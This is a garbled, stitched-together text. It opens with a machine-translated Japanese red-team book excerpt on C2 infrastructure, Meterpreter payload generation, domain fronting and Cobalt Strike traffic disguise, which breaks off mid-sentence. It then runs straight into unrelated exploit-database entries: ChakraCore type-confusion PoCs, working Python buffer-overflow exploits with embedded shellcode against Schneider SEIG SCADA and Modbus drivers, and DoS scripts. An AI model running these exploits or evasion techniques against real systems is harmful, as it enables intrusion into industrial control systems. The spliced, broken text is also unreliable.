レッドチームのメンバーとして、私たちは通常、攻撃の目的にあまり注意を払いません(攻撃方法の詳細)。代わりに、これらの高度な脅威組織のTTP(戦術、テクニック手順)から詳細を学びたいと考えています。たとえば、これはFireeyeの公共脅威インテリジェンス分析レポートです。レポートから、この脅威組織はTwitterをC2サーバーとして使用しており、暗号化された画像と情報のステガノグラフィを保存するためのリポジトリとしてGithubを使用していることがわかります。このレポートを参照して、攻撃方法の特性に基づいてターゲットを絞った適切な防衛計画を作成して、会社がそのような攻撃を検出して傍受できるかどうかを確認できます。
APT攻撃の基本的な紹介をしましょう。 MITRによって提案されているATTCKマトリックス(敵対的な戦術、技術、および一般的な知識マトリックス)は、APT攻撃の詳細な分解です。このマトリックスには、さまざまな攻撃シナリオで使用されるさまざまなTTPの大規模なコレクションがあります。
商用ATTCKマトリックス-Windows
翻訳者のメモ:
上記のマトリックスは、Windowsプラットフォームに適したテクノロジーのみを拡張します。完全な商用エンタープライズATT&CKマトリックスには、MacOSおよびLinuxプラットフォーム向けのテクノロジーも含まれています。
マトリックスの内容は、元の本から厳密にコピーされています。それは、元の本の写真の解決が低すぎたからといって、読者の読書体験のために特別に新しい写真を作りました。 ATTCKマトリックスはまだ中国語で翻訳されていません。翻訳者の才能がシンプルで、あえて醜い翻訳を与えていないため、英語を保持しています。ただし、本にリストされているマトリックスコンテンツは、マトリックスが改訂されたためかもしれないマトリックスコンテンツとは異なることに注意する必要があります。したがって、Enterprise Matrixの公式Webサイトアドレス-Windowsは、読者のリファレンス用に与えられます。
別のリソースは、 @cyb3ropsによってコンパイルされたAPT組織とメソッドの継続的な更新リストです。このGoogleファイルには、疑わしいAPT組織と世界中の複数の国で使用されているツールセットがリストされています。 Redチームメンバーの場合、このドキュメントを参照して、さまざまな攻撃をシミュレートできます。もちろん、ドキュメントにリストされているのと同じツールを使用することはできませんが、同じ攻撃を行うために同様のツールを構築できます。
ブレークスルー演習を仮定する
セキュリティの問題に直面して、企業の正しい態度は、最初からそれが妥協されたと仮定することです。しかし、実際には、あまりにも多くの企業が、いわゆるセキュリティ構成または年間浸透テストを通じて安全であると考えています。私たちは思考の状態に入る必要があります。私たちは常に、悪が私たちの周りに潜んでいると仮定して、常に異常を探す必要があります。
これは、レッドチームの活動が浸透テストとは大きく異なる場所です。 Redチームの活動は、脆弱性ではなく対策の検出/提供に焦点を当てているため、よりユニークな評価を行うことができます。クライアントに大きな価値を提供する評価の利点は、想定される違反演習と呼ばれます。仮説的なブレークスルー演習では、遭遇する0日間は常にあります。それで、クライアントは、2番目と第3段階のステップの影響を認識して軽減できますか?
これらのシナリオでは、Redチームは社内の限られたチームと協力して、サーバーでカスタムマルウェアペイロードを実行します。このペイロードは、複数の方法で接続し、一般的なAVをバイパスし、メモリから余分なペイロードを実行できるようにする必要があります。本全体でペイロードの例をいくつか提供します。最初のペイロードが実行されると、すべての楽しみがここから始まります!
アクションを設定
これは、レッドチームイベントの私のお気に入りの部分です。最初のシステムを攻撃する前に、レッドチームのアクティビティ範囲を決定する必要があります。多くの侵入テストでは、目標を達成し、その単一のシステムに入ろうとし続けます。何かが失敗した場合、次のことに移ります。スクリプトがなければ、通常、このネットワークに非常に焦点を当てています。
Red Teamイベントでは、いくつかの目標から始めます。これらの目的は、を含むかもしれませんが、これらに限定されません
究極の目標は何ですか?適切な検出ですか?サーバーにフラグを取得する必要がありますか?データベースからデータを取得していますか?または、検出タイムネス(TTD)インジケーターを取得するだけですか?
コピーしたい公的な活動はありますか?
どんなテクニックを使用しますか? Miter ATTCKマトリックスの使用について説明しましたが、各カテゴリの正確な手法は何ですか?
Red Canary Research Groupは、各手法に関する詳細情報を提供しています。これらの詳細を表示するために少し時間がかかることを強くお勧めします。
顧客はどのツールを使用してほしいですか? Metasploit、Cobalt Strike、DNS CATなどの商用攻撃ツールソフトウェアはありますか?または自家製のカスタマイズツール?
良いニュースは、キャッチされることも評価の一部であるということです。 4〜5回キャッチされ、4〜5種類の環境で排除される侵略がいくつかあります。これは、顧客が予想通りに防御が機能している(または機能していない)ことを顧客に示します。本の最後に、メトリックを取得してこのデータを報告する方法を示すレポートの例をいくつか提供します。
外部サーバー
を設定しますレッドチームのアクティビティを構築するために、さまざまなサービスを使用しています。今日のVPSの世界では、インターネット上の攻撃者に抵抗する機械は予算を超えません。たとえば、私は通常、Digital OceanまたはAWSのLightsail ServerからDroplets Compute Serviceを使用して、VPSサーバーを構成します。これらのサービスを使用する理由は、通常、安価な(場合によっては無料)、Ubuntuシステム用のサーバーのオプションがあり、必要に応じてさまざまな地域のサーバーを購入することを選択できるためです。最も重要なことは、セットアップが非常に簡単です。数分以内に、複数のサーバーのMetasploitおよびEmpire Servicesをセットアップおよび実行できます。
この本では、AWSのLightsail Serverに焦点を当て、セットアップしたり、サービスを自動化したり、通常AWSに行くトラフィックを自動化したりできます。好きな画像を正常に作成した後、画像を複数のサーバーにすばやくクローンすることができます。これにより、既製のC2(コマンドおよびコントロール)ボックスを簡単に構築できます。
繰り返しますが、問題に陥らないように、VPSプロバイダーのサービス利用規約に従うようにする必要があります。
操作の重要なポイントは次のとおりです。
https://lightsail.aws.amazon.com/
インスタンスを作成します
少なくとも1GBのメモリを使用することを強くお勧めします
ハードディスクのサイズに一般的に問題はありません。好きなように選択できます
Linux/unix
オペレーティングシステムのみ - ubuntu
証明書をダウンロードしてください
CHMOD 600 CERT(翻訳者の注:所有者のみが読み取りおよび書き込み許可を持っています)
ssh -i cert ubuntu@[ip]
サーバーを構築するための簡単な方法は、TrustedSecの侵入テストフレームワーク(PTF)を統合することです。 PTFフレームワークは、あなたのために多くのハードワークを行い、他のすべてのフレームワークを作成できるスクリプトのコレクションです。すべてのエクスプロイトモジュール、情報収集モジュール、浸透後エクスプロイトモジュール、PowerShell攻撃モジュール、および脆弱性分析ツールを簡単にインストールしましょう。
sudo su-
Apt-Getアップデート
apt-getインストールpython
git clonehttps://github.com/trustedsec/ptf/opt/ptf
cd/opt/ptf ./ptf
モジュール/exploitation/install_update_allを使用します
モジュール/インテリジェンス収集/install_update_allを使用します
モジュール/爆発後/install_update_allを使用します
Modules/PowerShell/install_update_allを使用します
モジュール/脆弱性- 分析/install_update_allを使用します
CD /Pentest
次の図は、利用可能なすべてのモジュールを示しており、その一部は自分でインストールしました。
図:利用可能なすべてのモジュールのリスト
攻撃者VPSを見ると、マシンにインストールされているすべてのツールが表示されます。 Metasploitを開始したい場合は、MSFCONSOLEを入力できます。
図: /Pentestフォルダーにインストールされているすべてのツール
強力なiPtablesルールを作成することをお勧めします。これは攻撃サーバーになるため、SSH認証を開始できる場所、Empire/MeterPreter/Cobalt Strikeのペイロードを開始できる場所、およびサポートするフィッシングページを制限することをお勧めします。
2016年後半に覚えている場合、誰かが認識されていないリモートコード実行(RCE)(https://Blog.cobaltstrike.com/2016/09/28/cobalt-strike-rce-exploitate-reported/)を発見しました。確かに、攻撃されたサーバーによって顧客データが破損することを望んでいません。
AWSでKali Linux(または少なくともMetasploit)を実行している赤いチームがいくつか見てきました(:http://bit.ly/2qz2vn9を参照)。私の意見では、独自のシステムを作成しても構いません。しかし、より良いオプションは、複数のマシンを展開するための効率的で繰り返し可能なプロセスを作成することです。 Lightsailを使用することの最大の利点は、マシンを好みとして構成すると、1つのマシンをスナップショットして、その画像を使用して複数の新しいインスタンスを展開できることです。
環境を次のレベルに引き上げたい場合は、Coalfire Instituteのチームをご覧ください。カスタムモジュールを構築して、すべてのハードワークと自動化を実行します。 Red Baronは、Terraformのモジュールとカスタム/サードパーティプロバイダーのセットであり、Redチーム向けの柔軟で1回限り、安全で柔軟なインフラストラクチャを自動的に作成します。フィッシングサーバーの構築、コバルトストライクインフラストラクチャ、DNS C2サーバーの作成など、Terraformを使用してすべて実行できます。
https://github.com/coalfire-research/red-baronをチェックして、すべての異なるモジュールを表示して、独自のインフラストラクチャをすばやく構築してください。
赤いチームのコアツール
Redチームは多くのツールを使用する場合がありますが、最もコアツールのいくつかについて説明しましょう。 Redチームのメンバーとして、私たちの目標は環境を破壊することではなく(これは最も興味深いものですが)、実際の攻撃を複製して、顧客が保護されており、非常に短い時間で攻撃を検出できるかどうかを確認することであることを忘れないでください。前の章では、他のAPT組織から攻撃者のプロファイルとツールセットをコピーする方法を学んだので、最も一般的なREDチームツールのいくつかを確認しましょう。
metasploitフレームワーク
この本は、以前の本のようにメタプロイトの深さにはなりません。 Metasploitフレームワークは2003年以来元々開発されましたが、今でも素晴らしいツールです。これは、元の開発者H.D.の継続的なサポートによるものです。ムーアと非常に活発なコミュニティ。毎日更新されていると思われるこのコミュニティ主導のフレームワークには、最新の脆弱性の搾取、浸透後の搾取モジュール、補助モジュールなどがすべてあります。
Red Team Projectの場合、Metasploitを使用してMS17-010 Eternal Blueの脆弱性を介して内部システムを侵害して最初のイントラネットシェルを取得するか、MetaSploitを使用してソーシャルエンジニアリング攻撃のメータープレターのペイロードを生成する場合があります。
後の章では、Metasploitペイロードを再コンパイルし、ウイルス対策ソフトウェアとネットワーク監視をバイパスする方法を紹介します。
混乱しているメータープレターのペイロード
ターゲットでソーシャルワークの試みを行っている場合、ペイロードの運送業者としてWordまたはExcelドキュメントを使用する場合があります。ただし、潜在的な問題は、MeterPreterのペイロードにバイナリファイルを含めることも、ターゲットマシンにWebからペイロードをダウンロードさせることもできない可能性があることです。これらの操作は、ターゲットマシンのウイルス対策ソフトウェアのアラートをトリガーする可能性があるためです。だから、ここにファジングにPowerShellを使用して、簡単なソリューションがあります。
MSFVENOM -PAYLOAD WINDOWS/X64/METERPRETER_REVERSE_HTTP -FORMAT PSH -OUT METERPRETER -64.PS1 LHOST=127.0.0.1
難読化を次のレベルに引き上げ、Unicornなどのツールを使用して、この本で詳細にカバーするファジーパワーシェルベースのメータープレターペイロードを生成することもできます。
さらに、信頼できる機関によって発行されたSSL/TLS証明書を使用すると、特定のネットワークでID(侵入検知システム)をバイパスするのに役立ちます。詳細については、実装するには次のリンクを参照してください:MeterPreter Paranoidモード。
最後に、この本の後半では、Metasploit/MeterPreterを使用してホストベースとネットワークベースの検出ツールをバイパスする方法について説明します。
コバルトストライク
コバルトストライクは、私のお気に入りのレッドチームシミュレーションツールの1つです。コバルトストライクとは何ですか?これは、後期段階で持続する浸透、水平方向の動き、交通の隠れ、およびデータの盗難のためのツールです。コバルトストライキには直接的な搾取はなく、最新の0日間の脆弱性でシステムを侵害していません。フィッシングキャンペーンの一部としてサーバーで悪意のあるCSコードを実行しているか、CSを使用している場合、CSがどれほど広範で強力なCSであるかを感じることができます。マシンでCobalt Strikeのペイロードを実行できたら、C2サーバー(TeamServer)に戻るビーコン(リモートトロイの木馬)接続を作成します。
新しいコバルトストライクライセンスの費用は3,500ドル(1人のユーザーの場合は1年)ので、安価なツールではありません。ただし、ソフトウェアには無料の限定試験バージョンがあります。
コバルトストライクインフラストラクチャ
上記のように、インフラストラクチャの観点から、このような再利用可能で非常に柔軟な環境をセットアップしたいと考えています。コバルトストライクはリダイレクトをサポートします。コバルトストライクで使用されているC2ドメイン名が破壊された場合、新しい環境を作成および有効にする必要はありません。新しいC2ドメイン名を交換するだけです。 SOCATを使用してこれらのリダイレクターの構成に関する詳細情報をご覧ください:リンク1リンク2
リダイレクトを改善するには、ドメイン名プリセット(ドメイン名カバー)を使用できます。ドメイン名の前置詞は、他のドメイン名とインフラストラクチャテクノロジーをコントローラーリダイレクトとして使用するテクノロジーのコレクションです(参照リンク)。これは、Amazon CloudのCloudFrontや他のGoogleホストなど、人気のあるコンテンツ配信ネットワーク(CDN)を使用して、トラフィックソースを隠すことで実行できます。これは、過去に異なる攻撃者によって悪用されてきました(リンクを参照)。
これらの高報告ドメインを使用することにより、HTTPまたはHTTPSからのトラフィックは、悪意のあるC2サーバーではなく、これらのドメインと通信しているように見えます。これはすべてどのように機能しますか?比較的抽象的な例では、すべてのトラフィックは、クラウドフロントの主要なドメイン名であるA0.awsstatic.comなど、CloudFrontの主要な完全資格のドメイン名(FQDNS)に送信されます。リクエストでホストヘッダーを変更すると、すべてのトラフィックがクラウドフロント配信にリダイレクトされ、最終的にトラフィックがコバルトストライクC2サーバーに転送されます(リンクを参照)。
HTTPホストのヘッダーを変更することにより、CDNはトラフィックを簡単に正しいサーバーに戻します。 Redチームは、このテクノロジーを使用して、高表現ドメインを使用してC2サーバーからのトラフィックを隠しています。
ドメイン名の前提条件をサポートする2つの異なる企業からの2つの優れたリソース:
Cyberarkはまた、Googleのアプリ製品を使用してwww.google.com、mail.google.com、またはdocs.google.comを介してトラフィックを流れるように見えるようにする方法を紹介した良いブログ投稿を書きました。
Vincent Yiuは、Alibaba CDNを使用して独自のドメイン名の事前攻撃をサポートする方法に関する記事を書きました。
コバルトストライクは、ドメイン名プリセットをサポートできる唯一のツールではなく、メータープレターを介して実行することもできます(リンクを参照)。
注:この本が公開されたとき、AWS(Google Cloudでさえ)がすでにドメイン名プリセット(https://amzn.to/2i6lsry)を保護し始めていました。これは、このタイプの攻撃を防ぐのではなく、それを利用するために異なるサードパーティのリソースを必要とするだけです。
インフラストラクチャの一部ではありませんが、内部環境でビーコンがどのように機能するかをまだ理解する必要があります。運用上のセキュリティの観点から、簡単に発見されクリアされる永続的な接続の確立を避ける必要があります。 Redチームのメンバーとして、クライアントの一部がBlueチームによって発見されると仮定する必要があります。すべてのホストが1つまたは2つのC2サーバーと通信した場合、ブルーチームはインフラストラクチャ全体を簡単に根こそぎにすることができます。幸いなことに、Cobalt Strikeは、イントラネットホスト間のSMBベースのビーコンの使用を相互作用のために使用することをサポートしています。これにより、感染したコンピューターを通常の適切なビーコンでC2サーバーに接続し、内部ネットワーク上の他のすべてのサーバーをSMBプロトコルを介して最初に感染したホストと通信することができます。この接続により、Blueチームがレベル2システムの問題を検出し、法医学分析を実行すると、攻撃に関連付けられたC2サーバードメイン名を特定できない場合があります。
コバルトストライクは、ビーコン通信を操作できます。これは、レッドチームメンバーにとって非常に便利な機能です。カスタムC2構成ファイルを使用して、感染したホストシステムからのすべてのトラフィックを通常のトラフィックと同じように見せることができます。ここで、レイヤー7ネットワークアプリケーションレイヤーのイントラネット環境がますますフィルタリングすることがわかります。多くの場合、ブルーチームは、このレイヤーのネットワーク通信における異常なトラフィックを探しています。それでは、どのようにしてC2通信を通常のWebトラフィックのように見せることができますか?これは、カスタマイズ可能なC2プロファイルが作用する場所です。この例を見てください。この例を読むと、いくつかの明白な情報が表示されます。
これにより、URIパスでHTTPリクエストが生成されることがわかります。
set uri“/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”;
ホストヘッダーはAmazonに設定されています:
ヘッダー「ホスト」「www.amazon.com」;
一部のカスタムサーバーヘッダーでさえ、C2サーバーから送信されます。
ヘッダー「x-amz-id-1」「thkuyezkkkpgy5t42pzt」;
ヘッダー "x-amz-id-2" "a21yz2xrndntddgrsa212bgv3yw85amzuzw9ydg5rzmruz2t
多くの赤いチームがこれらのプロファイルを多くの異なるアクティビティで使用しており、多くのセキュリティベンダーがすべての一般的なカスタムプロファイルの指紋署名を作成しています。この問題を解決するために、私たちにできることは:です。構成ファイル内のすべての静的文字列が変更され、すべてのユーザーエージェント情報が変更され、SSLは実際の証明書で構成され(Cobalt StrikeのデフォルトSSL証明書を使用しないでください)、Jitterレートを調整し、クライアントのビーコン時間を変更します。最後のメモは、Post(http-post)コマンドを介して通信を確保することです。そうしないと、カスタム構成ファイルを使用する場合に多くの問題につながる可能性があるためです。構成ファイルがhttp-getを介した通信を規定している場合でも機能しますが、大きなファイルのアップロードは常に制限されます。 GETリクエストは通常2048文字に制限されることを忘れないでください。
SpectorOpsセキュリティチームは、難読化C2構成ファイルをカスタマイズするプロジェクトも作成しました。
翻訳者の注:このスクリプトは、Cobalt Strikeの構成ファイルを署名検出ソフトウェアをバイパスするために難読化することができます。原則は、提供された辞書のランダム文字列に変数を置き換え、新しい順応性C2構成ファイルを出力することです。
コバルトストライクの攻撃者スクリプト
コバルトストライクプロジェクトには多くの貢献者がいます。 Aggressor Scriptingは、スクリプト可能なIRCクライアントとボットに触発された、レッドチームの運用と対戦相手シミュレーションのためのスクリプト言語です。それを開発するには2つの目的があります。
長期にわたるロボットを作成して、仮想レッドチームメンバーをシミュレートし、ハックすることができます
また、ニーズに応じて、コバルトストライククライアントの機能を拡張および変更することもできます。公式紹介ページ:https://www.cobaltstrike.com/aggressor-script/index.html
例:harleyqu1nnは、1つのプロジェクトにさまざまな攻撃的なスクリプトを入れて、その後のエクスプロイトに使用するために:http://bit.ly/2qxiwpe
PowerShell Empire
Empireは、純粋なPowerShell 2.0 Windowsプロキシと純粋なPython 2.6/2.7 Linux/OS Xプロキシを含む晩期のエクスプロイトフレームワークです。これは、以前のPowershell EmpireとPython Empyreプロジェクトの合併です。このフレームワークは、暗号化された安全な通信と柔軟なアーキテクチャを提供します。 Powershellの観点から、EmpireはPowerShell.exeなしでPowerShellエージェントを実行する能力を実装しています。また、エンパイアには、キーボードロガーからミミカッツまで、迅速に展開できるエクスプロイトモジュールがたくさんあります。エンパイアは、ネットワーク検出を回避するために通信を調整することもできます。これらの機能はすべて、実用的なフレームワークにカプセル化されています。
レッドチームのスタッフにとって、Powershellは私たちの親友の一人です。有効なペイロードを初期化した後、その後のすべての攻撃はメモリに保存されます。帝国の最大の利点は、開発者によって積極的に維持および更新されているため、最新のポストエクスプロイトモジュールを使用して攻撃できることです。また、LinuxとOS XのC2接続もあります。したがって、Macベースのオフィスマクロを作成することができ、実行されたときに帝国に新しいプロキシを持つことができます。
この本を通して帝国をより詳細に紹介し、それがどれほど強力かを理解できるようにします。帝国のセットアップに関しては、安全に構成していることを確認することが重要です。
証明書パス証明書を真の信頼できるSSL証明書に設定します。
DefaultProfileエンドポイントを変更します。多くのレイヤー7ファイアウォールは、正確な静的エンドポイントを探しています。
通信に使用されるユーザーエージェントを変更します。
本の最初の2つのエディションでは、Metasploitのソースファイルが自動化に使用されており、Empireは自動的に実行されたスクリプトをサポートしていると述べました。
帝国を走る:
帝国を初期化します
cd/opt/Empire ./setup/reset.sh
やめる
出口
証明書をインストールする(できれば実際の信頼できる証明書を使用する)
./setup/cert.sh
emを実行し始めます
/*
The InitializeNumberFormat function in Intl.js is used to initialize an Intl.NumberFormat object, and InitializeDateTimeFormat is used for an Intl.DateTimeFormat object. There are two versions of each initializer. One is for WinGlob and the other is for ICU. The problem is that the versions for ICU don't check whether the given object has been initialized. This allows to initialize the same object multiple times which can lead to type confusion.
It seems the recent version of Edge in Windows Insider Preview has started to use ICU. Tested on Microsoft Edge 42.17672.1000.0 and Microsoft EdgeHTML 17.17672.
The initializer for ICU has no check:
https://github.com/Microsoft/ChakraCore/blob/bc2e55a7d80338ee4c9c63b76893f6d816dfe70b/lib/Runtime/Library/InJavascript/Intl.js#L1151
The initializer for WinGlob has a check:
https://github.com/Microsoft/ChakraCore/blob/bc2e55a7d80338ee4c9c63b76893f6d816dfe70b/lib/Runtime/Library/InJavascript/Intl.js#L3046
PoC:
*/
let object = {};
Intl.NumberFormat.apply(object);
Intl.DateTimeFormat.apply(object);
Intl.DateTimeFormat.prototype.formatToParts.apply(object);
/*
This is similar to issue 1531 . The patch seems to prevent type confusion triggered from StElemI_A instructions. But the SetItem method can also be invoked through the Array.prototype.push method which can be inlineed. We can achieve type confusion with the push method in the same way used for issue 1531 .
PoC:
*/
function opt(arr, value) {
arr.push(value); // <--------
arr[0] = 2.3023e-320;
}
function main() {
for (let i = 0; i < 0x10000; i++) {
let tmp = [1.1, 2.2, 3.3];
delete tmp[1];
opt(tmp, 2.2);
}
let arr = [1.1];
opt(arr, -5.3049894784e-314); // MAGIC VALUE!
alert(arr);
}
main();
/*
Here's the method.
template <typename TPropertyIndex>
template <typename TPropertyIndexFrom>
void DictionaryPropertyDescriptor<TPropertyIndex>::CopyFrom(DictionaryPropertyDescriptor<TPropertyIndexFrom>& descriptor)
{
this->Attributes = descriptor.Attributes;
this->Data = (descriptor.Data == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Data;
this->Getter = (descriptor.Getter == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Getter;
this->Setter = (descriptor.Setter == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Setter;
this->IsAccessor = descriptor.IsAccessor;
#if ENABLE_FIXED_FIELDS
this->IsInitialized = descriptor.IsInitialized;
this->IsFixed = descriptor.IsFixed;
this->UsedAsFixed = descriptor.UsedAsFixed;
#endif
}
Given its name, I think that the method is supposed to copy all the fields from another descriptor to "this". But it actually leaves some fields uncopied. The "IsShadowed" field is one of them which indicates that a Let or Const variable has been declared in the global object with the same name as the name of a property of the global object. This lack of copying the "IsShadowed" field can lead to type confusion like in the PoC or uninitialized pointer dereference.
PoC:
*/
let x = 1;
this.x = 0x1234; // IsShadowed
// Convert to BigDictionaryTypeHandler, CopyFrom will be used in the process.
for (let i = 0; i < 0x10000; i++) {
this['a' + i] = 1;
}
// Set IsAccessor
this.__defineSetter__('x', () => {});
// Type confusion
this.x;
# Title: SEIG SCADA SYSTEM 9 - Remote Code Execution
# Author: Alejandro Parodi
# Date: 2018-08-17
# Vendor Homepage: https://www.schneider-electric.com
# Software Link: https://www.schneider-electric.ie/en/download/document/V9_Full_installation_package_register_and_receive_file/
# Version: v9
# Tested on: Windows7 x86
# CVE: CVE-2013-0657
# References:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0657
import socket
import struct
ip = "192.168.0.23"
port = 12397
con = (ip, port)
# DoS Payload found in the research (CRUNCHBASE UNEXPECTED PARAMETER)
# length = "\x00\x70\x00\x00\x00\x00\x00\x00"
# message = "\x00\x70AA\x65\x00\x00\x00AAAAAAAAAAAAAAAA\x00\x00\x00\x00"+"B"*28644
# payload = length+message
# Exploit Magic
message_header = struct.pack("<L", 0x6014) + "\x66\x66\x07\x00"
message_protocol_data = "\x10\x00\x00\x00" + "\x19" + "\x00\x00\x00\x00\x00" + "\x04" + "\x00\x00\x00" + struct.pack(">H", 0x6000)
padding = "B" * 3344
eip_safeseh_bypass_address = struct.pack("<L", 0x0F9C520B) # pop, pop, ret to stack payload in exprsrv.dll (Windows Library without SafeSEH)
# Shellcode: ./msfvenom -a x86 --platform windows -p windows/exec cmd=calc EXITFUNC=thread -e x86/shikata_ga_nai -i 5 -b '\x00\xFF\x0A\x0D' -f python
# If EXITFUNC is not defined the application enter in a Loop that kill the VM resources
nopsleed = "\x41"*100 # \x90 bad char bypass
shellcode = "\xda\xcb\xbd\x0f\x83\x69\x70\xd9\x74\x24\xf4\x58\x31"
shellcode += "\xc9\xb1\x4b\x83\xe8\xfc\x31\x68\x14\x03\x68\x1b\x61"
shellcode += "\x9c\xa9\xcf\xd8\x3a\xb3\x6e\xfc\x1c\x37\x54\xf6\xc7"
shellcode += "\x93\x5d\x47\xb3\xd2\x35\xb1\x3f\x7d\xdc\x42\xd7\x81"
shellcode += "\x59\x48\x93\x7b\x98\x70\x2a\x6b\x98\x14\xea\xc5\x54"
shellcode += "\x17\x7c\x8d\x25\x69\x60\x27\x1e\xc7\x8a\x6a\xd8\xcf"
shellcode += "\xb6\xc3\x9d\x5a\x83\xd6\xea\x88\x14\x7d\x5a\x55\x71"
shellcode += "\x90\x85\xb8\x37\x9e\x3e\xd7\x1a\x76\xf8\xb1\xb9\x63"
shellcode += "\xb7\xef\xa3\xa6\xc0\xb8\x12\xb4\x18\x62\x1a\xe1\x9e"
shellcode += "\x6f\x7e\xa2\x86\x6c\xf7\x3a\x31\xbd\x55\x42\x10\xad"
shellcode += "\x89\x16\xa0\xb8\x6a\xd6\x4c\x20\xd9\xad\x81\x58\x77"
shellcode += "\x0b\xa3\xaa\xba\x2c\x49\xf0\x26\xaa\xab\xce\x5a\xc3"
shellcode += "\x41\x69\x60\xc4\x58\x71\x71\x9c\x3f\xbe\xc2\xbc\x49"
shellcode += "\xdd\xab\x89\xf0\x46\xcb\x1a\x8a\xf1\xdb\xe5\x54\x1f"
shellcode += "\xfb\x30\x3b\xb1\x17\x97\xb2\x3e\x31\xf8\x26\x13\x9c"
shellcode += "\x16\xdd\x26\x7a\xe3\x9b\x6e\x29\x77\x49\xc7\x97\x98"
shellcode += "\x39\x7b\x5f\xcd\xeb\x4a\x39\x6e\x66\x04\xbc\x6c\xa6"
shellcode += "\x87\x01\x63\x4d\xf3\x35\xc9\x74\x35\xdf\xe7\x1f\x0c"
shellcode += "\xd0\x69\x80\x8c\x5c\xde\x63\xfc\x19\x1b\x8e\x24\x3b"
shellcode += "\x7e\x01\x97\x6f\x67\x8f\x07\x3f\x32\x13\x23\x80\x7e"
shellcode += "\x9a\x01\x5a\xc0\x3c\xf9\xf5\x5a\x04\xb0\x54\x46\x0c"
shellcode += "\xfb\x21\x4d\xd7\xe0\xb4\x02\xe5\x4c\x04\x5a\x5e\x37"
shellcode += "\xd1\x61\x6d\xe1\x4d\xe8\xa8\xdf\x26\xdb\x55\x5a\x60"
shellcode += "\x85\x68\x05\x6a\x21\x73\xdf\x73\xa4\xef\x26\x02\x7e"
shellcode += "\xb0\xb1\xa6\xb1\xac\x15\x0f\x80\x34\xae\xe4\x8a"
JUNK = "JUNK"*5202 # 20808 Bytes of JUNK
payload = message_header + message_protocol_data + padding + eip_safeseh_bypass_address + nopsleed + shellcode + JUNK
print "Payload length: "+str(len(payload))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(con)
s.send(payload)
s.recv(10)
# Title: SEIG Modbus 3.4 - Denial of Service (PoC)
# Author: Alejandro Parodi
# Date: 2018-08-17
# Vendor Homepage: https://www.schneider-electric.com
# Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4
# Version: v3.4
# Tested on: Windows7 x86
# CVE: CVE-2013-0662
# References:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662
import socket
import struct
import time
ip = "192.168.127.137"
port = 27700
con = (ip, port)
header_padding = "\x00\xAA"
header_buffer_size = "\xFF\xFF"
header_recv_len = "\x08\xDD" #(header_buffer_size + 1 en el ultimo byte por que se le resta uno)
header_end = "\xFF"
header = header_padding + header_buffer_size + header_recv_len + header_end
message = "\x00\x64" + "A" * 2267
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(con)
s.send(header)
s.send(message)
# Title: SEIG Modbus 3.4 - Remote Code Execution
# Author: Alejandro Parodi
# Date: 2018-08-17
# Vendor Homepage: https://www.schneider-electric.com
# Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4
# Version: v3.4
# Tested on: Windows XP SP3
# CVE: CVE-2013-0662
# References:
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662
import socket
import struct
ip = "192.168.127.138"
port = 27700
con = (ip, port)
####### MESSAGE ##########
message_header = "\x00\x64"
message_buffer = "A" * 0x5dc
eip = struct.pack("<I", 0x7C9C167D)
# Shellcode generated with:
# msfvenom -a x86 --platform windows -p windows/exec cmd=calc -e x86/xor_call4 -f python
# Shellcode Size: 189 bytes
nopsleed = "\x90" * 100 # \x90 bad char bypass
shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
shellcode += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5"
shellcode += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
shellcode += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
shellcode += "\xff\xd5\x63\x61\x6c\x63\x00"
message = message_header + message_buffer + eip + nopsleed + shellcode
print "Message Len: " + hex(len(message)) + " bytes"
##########################
######## PKG HEADER ######
header_padding = "\x42\x42"
header_buf_size = "\xFF\xFF"
header_recv_len = struct.pack(">H", len(message))
header_end = "\x44"
header = header_padding + header_buf_size + header_recv_len + header_end
##########################
######## CRAFTING PAYLOAD ########
payload = header + message
print "Package Len: "+hex(len(payload)) + " bytes"
##################################
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(con)
s.send(payload)
# Exploit Title: Zortam MP3 Media Studio 23.95 - Denial of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-19
# Homepage: https://www.zortam.com
# Software Link: https://www.zortam.com/download.html
# Tested Version: 23.95
# Tested on OS: Windows 7 x64
# Steps to Reproduce: Run the python exploit script, it will create a new
